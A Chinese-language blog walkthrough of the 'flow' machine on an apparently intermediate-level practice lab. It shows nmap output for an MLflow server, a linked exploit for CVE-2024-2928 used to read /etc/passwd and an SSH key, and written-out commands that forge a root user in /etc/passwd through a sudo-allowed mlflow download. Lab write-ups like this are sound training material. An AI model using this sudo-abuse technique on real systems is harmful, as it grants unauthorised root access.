flow pg walkthrough Intermediate

标签：&# Linux flow SF walkthrough Intermediate linux x27 x20

nmap

nmap -p- -A -T4 -sS 192.168.114.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 03:03 UTC
Nmap scan report for 192.168.114.104
Host is up (0.072s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 193
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid Request Line &#x27;Invalid HTTP request line: &#x27;&#x27;&#x27;
|     </body>
|     </html>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 07 Jan 2025 03:05:01 GMT
|     Connection: close
|     Content-Disposition: inline; filename=index.html
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 615
|     Last-Modified: Mon, 02 Sep 2024 10:04:33 GMT
|     Cache-Control: no-cache
|     ETag: "1725271473.9912164-615-3603372807"
|     <!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"/><link rel="shortcut icon" href="./static-files/favicon.ico"/><meta name="theme-color" content="#000000"/><link rel="manifest" href="./static-files/manifest.json"/><title>MLflow</title><script defer="defer" src="static-files/static/js/main.4dd3381c.js"></script><link href="static-files/static/css/main.6d30cbb0.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><di
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 07 Jan 2025 03:05:16 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=1/7%Time=677C99DD%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,11E,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20
SF:close\r\nContent-Type:\x20text/html\r\nContent-Length:\x20193\r\n\r\n<h
SF:tml>\n\x20\x20<head>\n\x20\x20\x20\x20<title>Bad\x20Request</title>\n\x
SF:20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p
SF:></h1>\n\x20\x20\x20\x20Invalid\x20Request\x20Line\x20&#x27;Invalid\x20
SF:HTTP\x20request\x20line:\x20&#x27;&#x27;&#x27;\n\x20\x20</body>\n</html
SF:>\n")%r(GetRequest,3A5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r
SF:\nDate:\x20Tue,\x2007\x20Jan\x202025\x2003:05:01\x20GMT\r\nConnection:\
SF:x20close\r\nContent-Disposition:\x20inline;\x20filename=index\.html\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20615\
SF:r\nLast-Modified:\x20Mon,\x2002\x20Sep\x202024\x2010:04:33\x20GMT\r\nCa
SF:che-Control:\x20no-cache\r\nETag:\x20\"1725271473\.9912164-615-36033728
SF:07\"\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><meta\x20chars
SF:et=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,initial-scale=1,shrink-to-fit=no\"/><link\x20rel=\"shortcut\x20icon\"
SF:\x20href=\"\./static-files/favicon\.ico\"/><meta\x20name=\"theme-color\
SF:"\x20content=\"#000000\"/><link\x20rel=\"manifest\"\x20href=\"\./static
SF:-files/manifest\.json\"/><title>MLflow</title><script\x20defer=\"defer\
SF:"\x20src=\"static-files/static/js/main\.4dd3381c\.js\"></script><link\x
SF:20href=\"static-files/static/css/main\.6d30cbb0\.css\"\x20rel=\"stylesh
SF:eet\"></head><body><noscript>You\x20need\x20to\x20enable\x20JavaScript\
SF:x20to\x20run\x20this\x20app\.</noscript><div\x20id=\"root\"></div><di")
SF:%r(RTSPRequest,121,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\nContent-Length:\x20196\r\n\r\n
SF:<html>\n\x20\x20<head>\n\x20\x20\x20\x20<title>Bad\x20Request</title>\n
SF:\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request<
SF:/p></h1>\n\x20\x20\x20\x20Invalid\x20HTTP\x20Version\x20&#x27;Invalid\x
SF:20HTTP\x20Version:\x20&#x27;RTSP/1\.0&#x27;&#x27;\n\x20\x20</body>\n</h
SF:tml>\n")%r(HTTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicor
SF:n\r\nDate:\x20Tue,\x2007\x20Jan\x202025\x2003:05:16\x20GMT\r\nConnectio
SF:n:\x20close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x
SF:20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length:\x200\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.13 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%), Linux 3.13 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   73.06 ms 192.168.45.1
2   73.01 ms 192.168.45.254
3   73.15 ms 192.168.251.1
4   73.14 ms 192.168.114.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 228.37 seconds

发现版本

搜索exp 看样子是个任意文件读取
https://github.com/nuridincersaygili/CVE-2024-2928/blob/main/CVE-2024-2928.py

尝试exp读取/etc/passwd

读取成功
尝试读取id_rsa

读取成功

提权阶段
sudo -l

/usr/local/bin/mlflow artifacts download -u * -d *
发现你sudo 运行这个命令
尝试运行
发现报错让我们 mlflow artifacts download --help 看看说明

大概看懂了
-u 指定下载的文件 -d 指定文件下载到哪个目录
这不就简单了

我们直接
先复制一份/etc/passwd
cp /etc/passwd ./passwd
然后将伪造的root用户写入
echo 'xxoo:$1$GWB36/lB$ncfgVGEio6XbCYeV53KcM0:0:0:asdasd:/root:/bin/bash' >> ./passwd
然后
sudo /usr/local/bin/mlflow artifacts download -u ./passwd -d /etc 将我们伪造的passwd 写入/etc目录
提权成功

标签：&#,Linux,flow,SF,walkthrough,Intermediate,linux,x27,x20
From： https://www.cnblogs.com/wssw/p/18657114

flow pg walkthrough Intermediate

相关文章

赞助商

阅读排行